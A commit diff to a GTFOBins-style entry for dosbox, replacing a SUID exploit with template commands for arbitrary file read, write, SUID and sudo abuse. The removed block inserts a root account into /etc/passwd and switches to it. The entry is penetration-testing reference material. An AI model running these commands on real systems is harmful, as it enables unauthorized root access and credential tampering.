Generalize dosbox

_gtfobins/dosbox.md

@@ -1,10 +1,29 @@
 ---
+description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
 functions:
-  SUID:
+  file-read:
-    - description: Please change username to whatever you want and passwod is `toor`.
+    - description: The file content will be displayed in the DOSBox graphical window.
       code: |
-		cp /etc/passwd /tmp/passwd
+        LFILE='\path\to\file_to_read'
-		echo "idealphase:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" >> /tmp/passwd
+        dosbox -c 'mount c /' -c "type c:$LFILE"
-		/usr/bin/dosbox -c "mount c /etc/" -c "mount d /tmp/" -c "d:" -c "copy passwd c:"
+    - description: The file is copied to a readable location.
-		su idealphase
+      code: |
+        LFILE='\path\to\file_to_read'
+        dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit
+        cat '/tmp/OUTPUT'
+  file-write:
+    - description: Note that the name of the written file in the following example will be `FILE_TO_`.
+      code: |
+        LFILE='\path\to\file_to_write'
+        dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
+  suid:
+    - description: Note that the name of the written file in the following example will be `FILE_TO_`.
+      code: |
+        LFILE='\path\to\file_to_write'
+        ./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
+  sudo:
+    - description: Note that the name of the written file in the following example will be `FILE_TO_`.
+      code: |
+        LFILE='\path\to\file_to_write'
+        sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
 ---